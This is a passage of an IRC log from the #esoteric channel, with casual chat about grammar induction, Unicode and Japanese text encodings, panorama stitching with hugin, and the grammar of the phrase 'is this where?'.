0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the POS induction im doing is not at all like that < 1268633968 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :POS induction is the part that sounded interesting < 1268633991 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the whole induction probably is interesting < 1268634000 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :and thats basically what the sequence recognition thing is < 1268634005 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :one kind of induction problem < 1268634013 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :POS induction is just a special case < 1268634040 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :because words have a specific subset of parts of speech they can be? < 1268634040 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :the two become obviously related when you take it into the second dimension and start doing actual structure induction as opposed to markovian inductions < 1268634058 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :no just because words are a degenerate structure < 1268634095 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :your mom's a degenerate structure >:( < 1268634103 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :so basically, if you have a good algorithm for discovering that some sequences s1 = w1 w2 ... and s2 = x1 x2 ... < 1268634105 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :etc < 1268634109 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :are really the same thing < 1268634121 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :e.g. that "the dog" and "my cat" are basically the same kind of phrase, namely a noun phrase < 1268634131 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :yeah < 1268634137 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :then you can do that for the degenerate case where the "phrase" consists of a single symbol < 1268634147 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :which is just POS induction < 1268634164 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :im not sure if the converse is true < 1268634183 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :ie if you can do POS induction, then you can do structure induction < 1268634186 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :its probably not true. < 1268634212 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :well this is surely more than i knew about the subject before, but it won't sink in immediately < 1268634215 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :y u gotta use big words < 1268634239 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :dats hao i rol < 1268634302 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :my brother has a shirt with that phrase and a toilet paper roll < 1268634309 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :..but the toilet paper is on backwards! >:( < 1268634328 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :lol @ wikipedia page on markov chain < 1268634329 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric : This article may be too technical for most readers to understand. Please improve this article to make it accessible to non-experts, without removing the technical details. (July 2009) < 1268634332 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :amen! < 1268634372 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :indeed < 1268634992 0 :mibygl!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268636463 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :OK, http://xkcd.com/714/ is pretty good :P < 1268636618 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :i'm not familiar with the source material < 1268636623 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :but presumably, it doesn't contain people fucking < 1268636942 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Presumably. < 1268638132 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :hahaha < 1268638138 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :longing looks across the bridge of galactica < 1268638144 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :obviously her porn is guy on guy 8D < 1268638554 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268638594 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :what about, like, kara... < 1268638595 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :oh wait... < 1268638606 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :(also i don't remember who actually belongs on the bridge) < 1268638616 0 :myndzi!unknown@unknown.invalid PRIVMSG #esoteric :duvalla(sp?) at least, ya? < 1268639305 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :dualla < 1268639999 0 :clog!unknown@unknown.invalid QUIT :ended < 1268640000 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268647024 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268647024 0 :clog!~nef@bespin.org JOIN :#esoteric < 1268647052 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268648819 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1268649720 0 :sebbu2!~sebbu@ADijon-152-1-61-77.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268649753 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268649753 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1268652752 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :why is there no esolang for PONIES? < 1268652804 0 :lereah_!unknown@unknown.invalid PRIVMSG #esoteric :Ponies are pig disgusting < 1268654369 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268654558 0 :kwertii!unknown@unknown.invalid QUIT :Quit: bye < 1268654969 0 :ais523!unknown@unknown.invalid QUIT : < 1268654989 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268658601 0 :ais523!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268659582 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268659621 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268660148 0 :cheater!unknown@unknown.invalid PRIVMSG #esoteric :NOOOOOooooooooooooooooooooo < 1268661055 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1268661088 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268661718 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268661753 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr2.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268662013 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268662054 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268662178 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268665324 0 :werdan7!unknown@unknown.invalid QUIT :Ping timeout: 619 seconds < 1268665730 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268665809 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268666101 0 :Ilari!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268666175 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268667409 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :http://www.youtube.com/watch?v=Jcn1rIliuBg < 1268667412 0 :augur!unknown@unknown.invalid PRIVMSG #esoteric :relevant. < 1268667789 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268668316 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1268668752 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Sick transit Gloria Monday < 1268670282 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268670739 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268671040 0 :charlls!~charlls@201.226.222.132 JOIN :#esoteric < 1268671455 0 :sshc!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268672564 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268672764 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268672897 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268673996 0 :hiato!unknown@unknown.invalid QUIT :Quit: underflow < 1268674542 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268674544 0 :MizardX-!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268674567 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268674692 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268674715 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1268675900 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION continues to think non-Unicode encodings should die
< 1268675916 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION thinks unicode should die
< 1268675931 0 :sebbu2!~sebbu@ADijon-152-1-50-95.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268675931 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :fax: Why? < 1268675944 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :if binary was good enough for Jesus Christ it's sure as hell good enough for me < 1268675948 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Because you think it's simpler for there to exist several hundred character sets? < 1268675951 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Hahahah. < 1268675958 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :seriously though unicode sucks < 1268675977 0 :sebbu!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268675977 0 :sebbu2!unknown@unknown.invalid NICK :sebbu < 1268675985 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :The alternative is several hundred character sets. < 1268676012 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I mean the idea of having lots of symbols is great, and stuff like ligatures and arabic writing is wonderful < 1268676029 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but things like superscript digits and summation signs just ruin it < 1268676051 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :what we really need is something that does text AND something that does typesetting < 1268676074 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :(typesetting beyond the very basic, put each symbol after (or before if it's a RTL one) the previous) < 1268676107 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Those are there because other character sets had it, and Unicode is meant to have the following property: fromUnicode . toUnicode == id < 1268676110 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :but what we have know is close enough to good that nobody solves the problem of typesetting (I mean look at IRC, HTML, and so on) < 1268676150 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :okay so I guess having actually written this out, it's not unicode I am against exactly < 1268676390 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :½ < 1268676418 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :typesetting is crucial to proper functioning of the modern society < 1268676462 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :it's incredibly important to get all the ligatures and kerning correct < 1268676471 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :and WASH YOUR HANDS afterwards < 1268676476 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268676538 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :EUC-JP, ShiftJIS, and JIS in particular should die. < 1268676563 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(there are four -- *FOUR* encodings in common use in Japanese. All incompatible.) < 1268676697 0 :lament!unknown@unknown.invalid PRIVMSG #esoteric :maybe the language itself should be abolished. < 1268676702 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :(EUC-JP is used because it doesn't break POSIX systems' minds, ShiftJIS is used because Windows used it, and JIS is 7-bit safe.) < 1268676711 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Along with all other non-English languages. < 1268676723 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: But first, let's abolish English. < 1268676763 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :idea suggested in another channel: use /b/ as an entropy source for /dev/random < 1268676767 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :good idea, or bad idea? < 1268676776 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :EXCELLENT idea. < 1268676783 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :ais523: Insufficiently random. < 1268676793 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pikhq: for entropy sources, it doesn't matter < 1268676799 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :pure zeros does nothing, anything else makes it more random < 1268676807 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Mmm. < 1268676814 0 :pikhq!unknown@unknown.invalid PRIVMSG #esoteric :Well then. Good idea. < 1268676874 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :I guess you could make a game that uses /b/ as input < 1268676895 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :kind of like tetris peices, except memes < 1268676972 0 :tombom!tombom@wikipedia/Tombomp JOIN :#esoteric < 1268677414 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268677726 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1268679892 0 :MizardX!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268679955 0 :MizardX!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268680203 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268680596 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, there? < 1268680765 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, a bit busy. < 1268680769 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :But technically speaking yes. < 1268680777 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, working on hugin thingy < 1268680796 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :sadly I have huge parallax, mobile phone camera < 1268680805 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so not sure this will give anything usable < 1268680903 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Usable" is in the eye of the beholder, though. < 1268681111 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what about support beams that are off by 1/2 of their width or more? < 1268681224 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It depends on what you are going to use it for. That sort of picture can still be usable if you just want to make a generic sort of "this is about what the view was like" statement. < 1268681253 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, my mobile camera doesn't provide focal length or fov in the exif data btw, which makes me have to guess for something that works < 1268681307 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :wow at the rectilinear projection of this... < 1268681510 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Mine doesn't write fov into exif either, but you can sometimes find that information elsewhere. < 1268681546 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Though I guess the initial guess doesn't have to be very good if you optimizize it anyway. < 1268682090 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I need 9 non-vert/horiz lines to even get this to look like something from this world < 1268682861 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1268683888 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :welcome back everybody < 1268683893 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :especially hiato i guess < 1268683910 0 :kar8nga!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268684001 0 :pikhq!unknown@unknown.invalid TOPIC #esoteric :"Gwandocu (n): Extremely strong evidence, far beyond a reasonable doubt." | module Topic where aliseSighting :: IO Integer | http://tunes.org/~nef/logs/esoteric/?C=M;O=D < 1268684131 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :good one < 1268684250 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I like that topic < 1268684671 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, doing a first stitch atm, if not too bad I will upload it somewhere < 1268684714 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(using enblend due to being unable to get good enough fit for enfuse to be usable at all) < 1268684820 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :yeargh < 1268684981 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, uploading anyway < 1268684984 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it might be interesting < 1268685029 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, http://omploader.org/vM3VidQ < 1268685088 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(I like that bench, it is always warm XD) < 1268685121 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Needless to say... < 1268685128 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, ? < 1268685140 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: I said "needless to say". That means I don't need to say it. < 1268685149 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, don't need to say *what*? < 1268685158 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It goes without saying! < 1268685173 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :uorygl, I have no idea idea what you are referring to :/ < 1268685286 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :don't say < 1268685322 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric :hi < 1268685380 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268685502 0 :MizardX-!~MizardX@unaffiliated/mizardx JOIN :#esoteric < 1268685619 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1268685620 0 :MizardX-!unknown@unknown.invalid NICK :MizardX < 1268685660 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, so well, what do you think of it? < 1268685692 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The window frameworksy aren't any worse than that at-the-work-place mobile-phone shots I did. Is this where? < 1268685747 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268685975 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :10:12:43 idea suggested in another channel: use /b/ as an entropy source for /dev/random < 1268686042 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :coming next: Anonymous carefully manipulates /b/ to hack computer cryptography by messing up /dev/random < 1268686087 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that's supposed to be impossible < 1268686121 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, "is this where"? < 1268686133 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"where is this" < 1268686137 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268686140 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268686145 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Finnish influences? < 1268686150 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: 21:08 < oklopol> especially hiato i guess < 1268686153 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, Örebro Universitet < 1268686153 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :thanks :) < 1268686155 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :possibly < 1268686168 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, this is the rather messy enfuse result: http://omploader.org/vM3VjMQ < 1268686212 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: i didn't notice someone had just joined so i had to acknowledge that my comment happened to made sense :P < 1268686222 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I wonder if one could do stereo image from this < 1268686224 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :perhaps not < 1268686241 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Where this is?" might be the canonical word order for Finnish, but we're a bit more flexible about that; "is this where?" (or "onko tämä mistä?") doesn't sound *so* confusing. < 1268686243 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it would have to figure out where the camera was... which is likely to be hard < 1268686246 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: hahaha, nice. Well, 'tis the thought that counts anyway :P < 1268686260 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, "where is this" in English even afaik < 1268686265 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :not "where this is" < 1268686266 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric ::/ < 1268686273 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268686278 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :Finnish, not English < 1268686280 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I need to sleep < 1268686283 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I can read properly < 1268686284 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :heh < 1268686284 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"where this is" makes no sense, "is this where" almost does < 1268686286 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Hmm, "is this where?" is a double question. < 1268686312 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Well, I guess "where" can mean "the place" rather than being a question word. "Is this the place?" < 1268686314 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :well, in context, where this is, means something. It was "where this is" and "is this where" it was < 1268686325 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: precisely < 1268686330 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I was expecting "is this where happened" < 1268686332 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or such < 1268686341 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :"Onko tämä mistä?" is maybe closer to "is this from where?" < 1268686353 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :oh well in uorygl's sense it makes total sense < 1268686355 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, what did you think about the enfused variant? < 1268686361 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, by that token, "this is where" some gruesome event happened makes sense too, though not a question < 1268686362 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :notice the weird art out there < 1268686372 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I have no clue what it is supposed to look like < 1268686380 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :or be < 1268686386 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :Interpreted straight, "is this where?" is asking whether it's in a certain place and also asking what that place is. < 1268686399 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :couldn't you say something like "you found this where exactly?" < 1268686419 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: It looks pretty typical as far as enfuse-with-unaligned-sources material go; my no-tripod shots often seem to end up as "blurry". < 1268686423 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :yeah, but that's a cultural thing as opposed to grammatical < 1268686426 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, however, in the parts where enfuse *did* manage to merge nicely it increased detail level and removed jpeg artifacts quite nicely < 1268686450 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :It's easy to do that in Lojban. "xu zvati ma" means, verbosely, "True-or-false: it's at what-place?." < 1268686461 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: was that response to me? i'm just saying that sort of usage exists, the kinds where "is this where" = "where is this" < 1268686469 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, I actually started out wanting to take photos of the long ice taps hanging down (was even worse a few weeks ago) < 1268686477 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :*kind < 1268686507 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: yeah, it was. I guess, but that is stertching, as the one is a question (starts with a verb) whereas the other is a subjunctive clause, or part of it IIRC < 1268686521 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: "xu zvati ma" does not mean "is this where" in the sense of "is this the place" < 1268686526 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: By "ice taps", do you mean the icicles? < 1268686536 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :stalactites? < 1268686538 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, oh that is the English word, is it? < 1268686541 0 :uorygl!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: right. < 1268686544 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, but yes < 1268686563 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: no it's just "where is this" vs "where did you find this", and "is this where" vs "you found this where" < 1268686578 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :it just doesn't make sense for a short sentence < 1268686607 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well i don't know about subjunctive clause, but they are definitely the exact same thing < 1268686619 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :uorygl: in fact i'm not sure it means anything < 1268686627 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :or umm < 1268686636 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :i guess it means, supply whether somewhere, supply where < 1268686644 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :(if somewhere) < 1268686661 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: right. Now I'm confused. The first two ("where is this" and "where did you find this" are completely different, in both tense and meaning, explicitly and impliticly), the second two are closer related, but still have different meanings and are not interchangable < 1268686705 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :or, are you talking about a context, as opposed to taken on their own? < 1268686714 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"this is" and "you find this" are both normal sentences, you're just asking where those things happen. < 1268686726 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :er, right < 1268686737 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"where does an elephant eat its baby", "the elephant ate its baby WHERE?" < 1268686753 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hmm < 1268686757 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :but, "Where is this?" and "Where did you find this?" are different in meaning, but perhaps not necessarily answer < 1268686774 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, anyway, I think I shall have to get a compact camera that produces raw. That is, my normal camera is way too bulky to just put in a pocket in the backpack < 1268686775 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :"This is Alaska" vs "On a map" < 1268686778 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :actually the elephant thing corresponds better to "this is where?" < 1268686784 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and the one in the mobile phone is very bad quality < 1268686797 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so something like a compact high end camera would be perfect < 1268686805 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :and light < 1268686816 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :okay yeah i'm not sure "is this where" makes sense < 1268686816 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :my normal camera is too heavy as well < 1268686835 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :"you read this where" is also "this is where" < 1268686838 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :oklopol, now figure out "this where is" < 1268686856 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :oklopol: as a unit, it doesn't. It can only make sense as part of a larger sentence, acting as the main verb as opposed to part of the predicate < 1268686866 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :This is where it is at. < 1268686890 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :and "you read this where" is horrible abuse of grammar and doesn't actually make sense if read like that < 1268686894 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :hiato: or in the sense uorygl said. that's a bit irrelevant < 1268686905 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Bot-tweetery: "About IRC: further discussion would be fruitless. you have to stop doing scheme and do something less kludgish, so... :p i'm not sure" < 1268686905 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :as opposed to "You read this? Where?" < 1268686911 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :lol < 1268686915 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :no that's not what i mean < 1268686959 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :fizzie, btw I use hugin to merge and perspective correct photos of overheads from lectures < 1268686967 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it works quite well even from the mobile phone < 1268686998 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :since it is basically no parallax, and even if there is it is all on one plane (the projection) < 1268687013 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :sure "you read this where?" is horrible, but "you saw this where" gives 114000 google hits < 1268687028 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :well < 1268687037 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :most are probably not in the sense i mean < 1268687040 0 :oklopol!unknown@unknown.invalid PRIVMSG #esoteric :but first result is :P < 1268687046 0 :hiato!unknown@unknown.invalid PRIVMSG #esoteric :hardly a grammatical argument if google is involved :P < 1268687047 0 :AnMaster!unknown@unknown.invalid PRIVMSG 